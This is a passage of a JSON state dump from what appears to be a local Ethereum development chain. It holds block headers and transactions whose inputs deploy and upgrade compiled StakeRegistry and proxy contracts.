0506040513d601f19601f82011682018060405250810190610d4f9190613405565b6001600160a01b0316336001600160a01b031614610d7f5760405162461bcd60e51b815260040161061190613422565b81610d9b8160ff16600090815260016020526040902054151590565b610db75760405162461bcd60e51b8152600401610611906133b4565b815180610e2c5760405162461bcd60e51b815260206004820152603d60248201527f5374616b6552656769737472792e72656d6f7665537472617465676965733a2060448201527f6e6f20696e646963657320746f2072656d6f76652070726f76696465640000006064820152608401610611565b60ff841660009081526003602090815260408083206004909252822090915b838110156110da578660ff167f31fa2e2cd280c9375e13ffcf3d81e2378100186e4058f8d3ddb690b82dcd31f784888481518110610e8b57610e8b61349e565b602002602001015181548110610ea357610ea361349e565b600091825260209182902001546040516001600160a01b0390911681520160405180910390a28660ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7584888481518110610f0157610f0161349e565b602002602001015181548110610f1957610f1961349e565b600091825260208083209190910154604080516001600160a01b039092168252918101929092520160405180910390a282548390610f5990600190613557565b81548110610f6957610f6961349e565b9060005260206000200183878381518110610f8657610f8661349e565b602002602001015181548110610f9e57610f9e61349e565b600091825260209091208254910180546001600160a01b0319166001600160a01b03909216918217815591546001600160601b03600160a01b9182900416021790558254839080610ff157610ff161356a565b6000828152602081208201600019908101919091550190558154829061101990600190613557565b815481106110295761102961349e565b9060005260206000200160009054906101000a90046001600160a01b03168287838151811061105a5761105a61349e565b6020026020010151815481106110725761107261349e565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550818054806110b0576110b061356a565b600082815260209020810160001990810180546001600160a01b0319169055019055600101610e4b565b50505050505050565b6000336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461112d5760405162461bcd60e51b8152600401610611906134cf565b6000805b8381101561123657600085858381811061114d5761114d61349e565b919091013560f81c600081815260016020526040902054909250151590506111dd5760405162461bcd60e51b815260206004820152603860248201527f5374616b6552656769737472792e7570646174654f70657261746f725374616b60448201527f653a2071756f72756d20646f6573206e6f7420657869737400000000000000006064820152608401610611565b6000806111ea838b611e0d565b915091508061120c5760009150600160ff84161b6001600160c01b0386161794505b60006112198a8585612001565b90506112258482612280565b505060019093019250611131915050565b5095945050505050565b60606000826001600160401b0381111561125c5761125c612ef4565b604051908082528060200260200182016040528015611285578160200160208202803683370190505b50905060005b838110156114ea5760008585838181106112a7576112a761349e565b919091013560f81c600081815260016020526040902054909250151590506113465760405162461bcd60e51b815260206004820152604660248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20646f6573206e6f7460648201526508195e1a5cdd60d21b608482015260a401610611565b60ff81166000908152600160205260408120805463ffffffff8a16929061136f5761136f61349e565b60009182526020909120015463ffffffff16111561141b5760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20686173206e6f207360648201527f74616b6520686973746f727920617420626c6f636b4e756d6265720000000000608482015260a401610611565b60ff8116600090815260016020526040812054905b818110156114df5760ff8316600090815260016020819052604090912063ffffffff8b169161145f8486613557565b6114699190613557565b815481106114795761147961349e565b60009182526020909120015463ffffffff16116114d757600161149c8284613557565b6114a69190613557565b8585815181106114b8576114b861349e565b602002602001019063ffffffff16908163ffffffff16815250506114df565b600101611430565b50505060010161128b565b5090505b9392505050565b6004602052816000526040600020818154811061151157600080fd5b6000918252602090912001546001600160a01b03169150829050565b60408051606081018252600080825260208083018290528284018290528582526002815283822060ff881683529052919091208054839081106115725761157261349e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b031691810191909152949350505050565b604080518082019091526000808252602082015260ff831660009081526003602052604090208054839081106115fd576115fd61349e565b6000918252602091829020604080518082019091529101546001600160a01b0381168252600160a01b90046001600160601b0316918101919091529392505050565b604080516060810182526000808252602080830182905282840182905260ff86168252600190529190912080548390811061167c5761167c61349e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b0316918101919091529392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561172c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117509190613405565b6001600160a01b0316336001600160a01b0316146117805760405162461bcd60e51b815260040161061190613422565b8161179c8160ff16600090815260016020526040902054151590565b6117b85760405162461bcd60e51b8152600401610611906133b4565b6117c283836123f7565b505050565b336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461180f5760405162461bcd60e51b8152600401610611906134cf565b60005b818110156118e357600083838381811061182e5761182e61349e565b919091013560f81c600081815260016020526040902054909250151590506118be5760405162461bcd60e51b815260206004820152603760248201527f5374616b6552656769737472792e646572656769737465724f70657261746f7260448201527f3a2071756f72756d20646f6573206e6f742065786973740000000000000000006064820152608401610611565b60006118cc86836000612001565b90506118d88282612280565b505050600101611812565b50505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196b9190613405565b6001600160a01b0316336001600160a01b03161461199b5760405162461bcd60e51b815260040161061190613422565b816119b78160ff16600090815260016020526040902054151590565b6119d35760405162461bcd60e51b8152600401610611906133b4565b6117c28383612460565b60ff83166000908152600160205260408120805482919084908110611a0457611a0461349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050610cc1818561288e565b60ff81166000908152600160208190526040822080549091611a7c91613557565b81548110611a8c57611a8c61349e565b600091825260209091200154600160401b90046001600160601b031692915050565b6000611abb848484612a08565b949350505050565b600082815260026020908152604080832060ff881684529091528120805482919084908110611af457611af461349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050611b4b818661288e565b6040015195945050505050565b6040805160608082018352600080835260208084018290528385018290528682526002815284822060ff8716835281528482205485519384018652828452908301829052938201819052919291829003611bb5579150610cae9050565b600085815260026020908152604080832060ff881684529091529020611bdc600184613557565b81548110611bec57611bec61349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529250610cae915050565b600083815260026020908152604080832060ff861684529091528120611c68858585612a08565b63ffffffff1681548110611c7e57611c7e61349e565b600091825260209091200154600160401b90046001600160601b0316949350505050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614611cea5760405162461bcd60e51b8152600401610611906134cf565b60ff831660009081526001602052604090205415611d685760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e696e697469616c697a6551756f72756d3a2060448201527471756f72756d20616c72656164792065786973747360581b6064820152608401610611565b611d728382612460565b611d7c83836123f7565b505060ff166000908152600160208181526040808420815160608101835263ffffffff438116825281850187815293820187815283549687018455928752939095209451949093018054915193516001600160601b0316600160401b02600160401b600160a01b0319948416600160201b0267ffffffffffffffff1990931695909316949094171791909116179055565b600080600080611e2c8660ff1660009081526003602052604090205490565b604080518082019091526000808252602082015290915060ff871660009081526004602081905260408083209051639004134760e01b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692639004134792611ea1928c9201613580565b600060405180830381865afa158015611ebe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611ee691908101906135e2565b905060005b83811015611fcd5760ff89166000908152600360205260409020805482908110611f1757611f1761349e565b60009182526020808320604080518082019091529201546001600160a01b0381168352600160a01b90046001600160601b0316908201528351909450839083908110611f6557611f6561349e565b60200260200101511115611fc557670de0b6b3a764000083602001516001600160601b0316838381518110611f9c57611f9c61349e565b6020026020010151611fae919061366d565b611fb89190613684565b611fc290866136a6565b94505b600101611eeb565b50505060ff8616600090815260208190526040902054919350506001600160601b03908116908316101590505b9250929050565b600083815260026020908152604080832060ff8616845290915281205481908082036120c757600086815260026020908152604080832060ff891684528252808320815160608101835263ffffffff43811682528185018681526001600160601b03808c16958401958652845460018101865594885295909620915191909201805495519351909416600160401b02600160401b600160a01b0319938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055612226565b600086815260026020908152604080832060ff8916845290915281206120ee600184613557565b815481106120fe576120fe61349e565b600091825260209091200180546001600160601b03600160401b909104811694509091508516830361213657600093505050506114ee565b805463ffffffff43811691160361216e578054600160401b600160a01b031916600160401b6001600160601b03871602178155612224565b805467ffffffff000000001916600160201b4363ffffffff90811682810293909317845560008a815260026020908152604080832060ff8d168452825280832081516060810183529687528683018481526001600160601b038d81169389019384528254600181018455928652939094209651960180549351915196851667ffffffffffffffff1990941693909317931690930291909117600160401b600160a01b031916600160401b93909216929092021790555b505b6040805160ff871681526001600160601b038616602082015287917f2f527d527e95d8fe40aec55377743bb779087da3f6d0d08f12e36444da62327d910160405180910390a26122768285612b6e565b9695505050505050565b60ff8216600090815260016020819052604082208054918391906122a49084613557565b815481106122b4576122b461349e565b906000526020600020019050836000036122e25754600160401b90046001600160601b03169150610cae9050565b805460009061230190600160401b90046001600160601b031686612b86565b825490915063ffffffff43811691160361233c578154600160401b600160a01b031916600160401b6001600160601b038316021782556123ee565b815463ffffffff438116600160201b81810267ffffffff000000001990941693909317855560ff8916600090815260016020818152604080842081516060810183529586528583018581526001600160601b03808b169388019384528254958601835591865292909420945194909201805491519251909316600160401b02600160401b600160a01b031992861690960267ffffffffffffffff19909116939094169290921792909217169190911790555b95945050505050565b60ff82166000818152602081815260409182902080546bffffffffffffffffffffffff19166001600160601b03861690811790915591519182527f26eecff2b70b0a71104ff4d940ba7162d23a95c248771fc487a7be17a596b3cf910160405180910390a25050565b60008151116124c55760405162461bcd60e51b8152602060048201526038602482015260008051602061374b83398151915260448201527f3a206e6f20737472617465676965732070726f766964656400000000000000006064820152608401610611565b805160ff8316600090815260036020908152604090912054906124e883836136c5565b11156125585760405162461bcd60e51b8152602060048201526045602482015260008051602061374b83398151915260448201527f3a20657863656564204d41585f5745494748494e475f46554e4354494f4e5f4c60648201526408a9c8ea8960db1b608482015260a401610611565b60005b828110156128875760005b61257082846136c5565b811015612646578482815181106125895761258961349e565b6020026020010151600001516001600160a01b0316600360008860ff1660ff16815260200190815260200160002082815481106125c8576125c861349e565b6000918252602090912001546001600160a01b03160361263e5760405162461bcd60e51b815260206004820152603d602482015260008051602061374b83398151915260448201527f3a2063616e6e6f74206164642073616d652073747261746567792032780000006064820152608401610611565b600101612566565b50600084828151811061265b5761265b61349e565b6020026020010151602001516001600160601b0316116126e05760405162461bcd60e51b8152602060048201526046602482015260008051602061374b83398151915260448201527f3a2063616e6e6f74206164642073747261746567792077697468207a65726f206064820152651dd95a59da1d60d21b608482015260a401610611565b60ff8516600090815260036020526040902084518590839081106127065761270661349e565b602090810291909101810151825460018101845560009384528284208251928401516001600160601b0316600160a01b026001600160a01b039093169290921791015560ff871682526004905260409020845185908390811061276b5761276b61349e565b6020908102919091018101515182546001810184556000938452919092200180546001600160a01b0319166001600160a01b03909216919091179055835160ff8616907f10565e56cacbf32eca267945f054fec02e59750032d113d3302182ad967f5404908690849081106127e2576127e261349e565b602090810291909101810151516040516001600160a01b0390911681520160405180910390a28460ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7585838151811061283f5761283f61349e565b60200260200101516000015186848151811061285d5761285d61349e565b602002602001015160200151604051612877929190612c0f565b60405180910390a260010161255b565b5050505050565b816000015163ffffffff168163ffffffff1610156129335760405162461bcd60e51b815260206004820152605660248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a207374616b6555706461746520697320606482015275333937b69030b33a32b910313637b1b5a73ab6b132b960511b608482015260a401610611565b602082015163ffffffff1615806129595750816020015163ffffffff168163ffffffff16105b612a045760405162461bcd60e51b815260206004820152606a60248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a2074686572652069732061206e65776560648201527f72207374616b6555706461746520617661696c61626c65206265666f726520626084820152693637b1b5a73ab6b132b960b11b60a482015260c401610611565b5050565b600083815260026020908152604080832060ff86168452909152812054805b8015612aa957600086815260026020908152604080832060ff89168452909152902063ffffffff851690612a5c600184613557565b81548110612a6c57612a6c61349e565b60009182526020909120015463ffffffff1611612a9757612a8e600182613557565b925050506114ee565b80612aa1816136d8565b915050612a27565b5060405162461bcd60e51b815260206004820152608160248201527f5374616b6552656769737472792e5f6765745374616b65557064617465496e6460448201527f6578466f724f70657261746f724174426c6f636b4e756d6265723a206e6f207360648201527f74616b652075706461746520666f756e6420666f72206f70657261746f72496460848201527f20616e642071756f72756d4e756d62657220617420626c6f636b206e756d626560a4820152603960f91b60c482015260e401610611565b60006114ee6001600160601b038085169084166136ef565b600080821215612baa57612b998261370f565b612ba3908461372b565b9050610cae565b612ba382846136a6565b803560ff81168114612bc557600080fd5b919050565b600060208284031215612bdc57600080fd5b6114ee82612bb4565b60008060408385031215612bf857600080fd5b612c0183612bb4565b946020939093013593505050565b6001600160a01b039290921682526001600160601b0316602082015260400190565b6001600160a01b0381168114612c4657600080fd5b50565b60008060408385031215612c5c57600080fd5b612c6583612bb4565b91506020830135612c7581612c31565b809150509250929050565b60008083601f840112612c9257600080fd5b5081356001600160401b03811115612ca957600080fd5b6020830191508360208260051b8501011115611ffa57600080fd5b600080600080600060608688031215612cdc57600080fd5b612ce586612bb4565b945060208601356001600160401b03811115612d0057600080fd5b612d0c88828901612c80565b90955093505060408601356001600160401b03811115612d2b57600080fd5b612d3788828901612c80565b969995985093965092949392505050565b60008083601f840112612d5a57600080fd5b5081356001600160401b03811115612d7157600080fd5b602083019150836020828501011115611ffa57600080fd5b60008060008060608587031215612d9f57600080fd5b8435612daa81612c31565b93506020850135925060408501356001600160401b03811115612dcc57600080fd5b612dd887828801612d48565b95989497509550505050565b600081518084526020840193506020830160005b82811015612e1f5781516001600160601b0316865260209586019590910190600101612df8565b5093949350505050565b604081526000612e3c6040830185612de4565b82810360208401526123ee8185612de4565b60008060408385031215612e6157600080fd5b82359150612e7160208401612bb4565b90509250929050565b602080825282518282018190526000918401906040840190835b81811015612ee957612ed383855163ffffffff815116825263ffffffff60208201511660208301526001600160601b0360408201511660408301525050565b6020939093019260609290920191600101612e94565b509095945050505050565b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715612f2c57612f2c612ef4565b60405290565b604051601f8201601f191681016001600160401b0381118282101715612f5a57612f5a612ef4565b604052919050565b60006001600160401b03821115612f7b57612f7b612ef4565b5060051b60200190565b60008060408385031215612f9857600080fd5b612fa183612bb4565b915060208301356001600160401b03811115612fbc57600080fd5b8301601f81018513612fcd57600080fd5b8035612fe0612fdb82612f62565b612f32565b8082825260208201915060208360051b85010192508783111561300257600080fd5b6020840193505b82841015613024578335825260209384019390910190613009565b809450505050509250929050565b803563ffffffff81168114612bc557600080fd5b60008060006040848603121561305b57600080fd5b61306484613032565b925060208401356001600160401b0381111561307f57600080fd5b61308b86828701612d48565b9497909650939450505050565b602080825282518282018190526000918401906040840190835b81811015612ee957835163ffffffff168352602093840193909201916001016130b2565b6000806000606084860312156130eb57600080fd5b6130f484612bb4565b95602085013595506040909401359392505050565b60608101610cae828463ffffffff815116825263ffffffff60208201511660208301526001600160601b0360408201511660408301525050565b80356001600160601b0381168114612bc557600080fd5b6000806040838503121561316d57600080fd5b61317683612bb4565b9150612e7160208401613143565b60008060006040848603121561319957600080fd5b8335925060208401356001600160401b0381111561307f57600080fd5b600082601f8301126131c757600080fd5b81356131d5612fdb82612f62565b8082825260208201915060208360061b8601019250858311156131f757600080fd5b602085015b83811015611236576040818803121561321457600080fd5b61321c612f0a565b813561322781612c31565b815261323560208301613143565b6020820152808452506020830192506040810190506131fc565b6000806040838503121561326257600080fd5b61326b83612bb4565b915060208301356001600160401b0381111561328657600080fd5b613292858286016131b6565b9150509250929050565b6000806000606084860312156132b157600080fd5b6132ba84612bb4565b92506132c860208501613032565b929592945050506040919091013590565b6000806000606084860312156132ee57600080fd5b833592506132fe60208501612bb4565b915061330c60408501613032565b90509250925092565b6000806000806080858703121561332b57600080fd5b61333485612bb4565b935061334260208601613032565b93969395505050506040820135916060013590565b60008060006060848603121561336c57600080fd5b61337584612bb4565b925061338360208501613143565b915060408401356001600160401b0381111561339e57600080fd5b6133aa868287016131b6565b9150509250925092565b60208082526031908201527f5374616b6552656769737472792e71756f72756d4578697374733a2071756f726040820152701d5b48191bd95cc81b9bdd08195e1a5cdd607a1b606082015260800190565b60006020828403121561341757600080fd5b81516114ee81612c31565b60208082526056908201527f5374616b6552656769737472792e6f6e6c79436f6f7264696e61746f724f776e60408201527f65723a2063616c6c6572206973206e6f7420746865206f776e6572206f6620746060820152753432903932b3b4b9ba393ca1b7b7b93234b730ba37b960511b608082015260a00190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156134c657600080fd5b6114ee82613143565b6020808252604c908201527f5374616b6552656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865205265676973747260608201526b3ca1b7b7b93234b730ba37b960a11b608082015260a00190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610cae57610cae613541565b634e487b7160e01b600052603160045260246000fd5b6001600160a01b0383168152604060208083018290528354918301829052600084815290812090916060840190835b818110156135d65783546001600160a01b03168352600193840193602090930192016135af565b50909695505050505050565b6000602082840312156135f457600080fd5b81516001600160401b0381111561360a57600080fd5b8201601f8101841361361b57600080fd5b8051613629612fdb82612f62565b8082825260208201915060208360051b85010192508683111561364b57600080fd5b6020840193505b82841015612276578351825260209384019390910190613652565b8082028115828204841417610cae57610cae613541565b6000826136a157634e487b7160e01b600052601260045260246000fd5b500490565b6001600160601b038181168382160190811115610cae57610cae613541565b80820180821115610cae57610cae613541565b6000816136e7576136e7613541565b506000190190565b818103600083128015838313168383128216171561062b5761062b613541565b6000600160ff1b820161372457613724613541565b5060000390565b6001600160601b038281168282160390811115610cae57610cae61354156fe5374616b6552656769737472792e5f6164645374726174656779506172616d73a2646970667358221220ade96e3ade679b88daf0a3f2ca01448425dba1d13a0dbd3a632fb89841cd4fea64736f6c634300081c0033000000000000000000000000851356ae760d987e095750cceb3bc6014560891c000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","r":"0x2a042da50262da7952f15e20cdf5c6dcda0aa176d1a79350a6b48dbcb4eb76c","s":"0x5ae796d919ea9f9fe070958d114fbc0351969b91bd6f3a446a8fa128c3c3f86c","yParity":"0x0","hash":"0xb3b079d100a62ba1edc4512ca0d52b7dcee69d71f24ca78608ee09b3a5e90b92"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x2b","gas":"0xd175","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","value":"0x0","accessList":[],"input":"0x99a88ec400000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377800000000000000000000000099bba657f2bbc93c02d617f8ba121cb8fc104acf","r":"0x62b02a6b212c7957efcde6a19e6ecd37b713a7dcc24e890b4664c942edffc149","s":"0x134dc444a9a13b30777a5c79278bcc5d6a6ccf7ecbaa9464d8f36297a2e6e36f","yParity":"0x1","hash":"0x6ea78c3414677766a62f4c541cfb745fdfe0841a3497ea85a3e4ce886192fa5a"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x3f0d2876aa740f9906b44a09a7c53d8f730cf8cef64ae9dbfbc0e9bddb1e63a3","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xe971fd7da969a4dfe4a0be00145def5b4fdb646fdc0ee0cb4db9177c5bb70a6b","transactionsRoot":"0x8cd7d9905b5800f5683d492e1b9417f21f6d828424e033676ec4579833adf2eb","receiptsRoot":"0x7483bec56c82113dab704af126188b0b39b5a2800974ad394e0a84698474a0bb","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x2","gasLimit":"0x1c9c380","gasUsed":"0x4743b","timestamp":"0x67212c10","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x345fce36","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x22","gas":"0x5c9ef","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052348015600f57600080fd5b506104518061001f6000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80632702747d14610046578063793e1c8e1461006f5780637be6aa6b14610090575b600080fd5b61005961005436600461023e565b6100a3565b6040516100669190610277565b60405180910390f35b61007861dead81565b6040516001600160a01b039091168152602001610066565b61005961009e3660046102c3565b6100fd565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03166333cfb7b760e01b1790526060906100f3848261013a565b9150505b92915050565b6040805160048152602481019091526020810180516001600160e01b031663e481af9d60e01b179052606090610133838261013a565b9392505050565b6060600080846001600160a01b03168460405161015791906102e0565b600060405180830381855afa9150503d8060008114610192576040519150601f19603f3d011682016040523d82523d6000602084013e610197565b606091505b50915091508180156101aa575060008151115b156101cc57808060200190518101906101c39190610335565b925050506100f7565b6040805160018082528183019092526000916020808301908036833701905050905061dead8160008151811061020457610204610405565b6001600160a01b039092166020928302919091019091015292506100f7915050565b6001600160a01b038116811461023b57600080fd5b50565b6000806040838503121561025157600080fd5b823561025c81610226565b9150602083013561026c81610226565b809150509250929050565b602080825282518282018190526000918401906040840190835b818110156102b85783516001600160a01b0316835260209384019390920191600101610291565b509095945050505050565b6000602082840312156102d557600080fd5b813561013381610226565b6000825160005b8181101561030157602081860181015185830152016102e7565b506000920191825250919050565b634e487b7160e01b600052604160045260246000fd5b805161033081610226565b919050565b60006020828403121561034757600080fd5b815167ffffffffffffffff81111561035e57600080fd5b8201601f8101841361036f57600080fd5b805167ffffffffffffffff8111156103895761038961030f565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156103b6576103b661030f565b6040529182526020818401810192908101878411156103d457600080fd5b6020850194505b838510156103fa576103ec85610325565b8152602094850194016103db565b509695505050505050565b634e487b7160e01b600052603260045260246000fdfea2646970667358221220e23deb2b8d0d229423ee6a26c4dd614627e96750b4bea5dc46930bcb32890c6664736f6c634300081c0033","r":"0xb75b39abd1669391d768754c96e637d30be05ddd3081ccae6a558d1f0d37cc42","s":"0x5ed55d16dd6b54d55ec030a56c9e42507b4763025b87900159585672786013d5","yParity":"0x0","hash":"0xef6282af4624359b81a1baee3830d63692b9be6752167c49f84671a68198a2e0"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xe7a76d4713a9bae463c98e99f3257ac11fad6d6ea9a9c6551401c4c7887306a0","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x5931fd27f9dc2c7aea505b859ad727c77b6bfa02f340f612186a958000c5b80f","transactionsRoot":"0x15fa2565c65b64c798fc9da6bbca6269a938222df6dbe562d5c4b9be5d4372bd","receiptsRoot":"0x54ffca0765d69fd09f9b4567f748c3a1edc51b9915148aeb196e16df3c7b9664","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x000000000400000000000000400000004000000000000000008000000000000000000000000000000000000000000000000000000080001000000000000000000000000000000000000004000000020000010000000000000002000000000000000000000200000400000001008008000000040000000000000000000000004000000001000000000000000000000000008000000000c0000000000000000000000000000000000000000000000440000000000000000000000000000000008000000020400000200000000000040000010000002008000000000000000020000000000000000000000000000000000000000000000000000000000000400000","difficulty":"0x0","number":"0x10","gasLimit":"0x1c9c380","gasUsed":"0x1dc11","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0xa8f4bd0","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x18","gas":"0x2b83f","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","value":"0x0","accessList":[],"input":"0x9623609d0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe60000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084cf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","r":"0x8a45120d596e8b8ca8db2ecee7e4c0a7ad2aa5efcdd1e669d300be5f88f5b8ee","s":"0x79257c8c420e081280f3232c031d4ec00ae37acf61d3606f86b08d780ce31500","yParity":"0x1","hash":"0x915e9f826dc9f67ede8161a0b96a52b57472804f5d53d99568b80d3cdf6546ec"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xd351f4a88bfc87d7e3d306fb39d5689a42d93bdff4193db6573e73e3ca7bd959","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xaeaaaf5ddb5dd14cfec2b22154aff65d647a4d92f1585b138c0eb9e497566ff2","transactionsRoot":"0xcdc1604c69e218a817af04b2f9f702078ee90c37615430e9fa0ab7b9464f9f35","receiptsRoot":"0xfbb088d9862e86919b47865adfc69a893bc388a066c30f3634ecc9fc6438e628","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00002000000000000000000000000000400000000000000000000000020000000000000000000000000400000000000080400000000000000000000000000000000000000000000000000000000002200000000000000000000000000000400000000000000000000040004000000000000000800000000000000100000000000100000000000000000000000000000000000000000080000000000000800000000000000000000000000000000400000000000000000000000000000000000000000020000000000000000000040000000000000400000000000000000000000000000000000000080000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x4","gasLimit":"0x1c9c380","gasUsed":"0x221571","timestamp":"0x67212c10","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x28de7b64","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x26","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b082602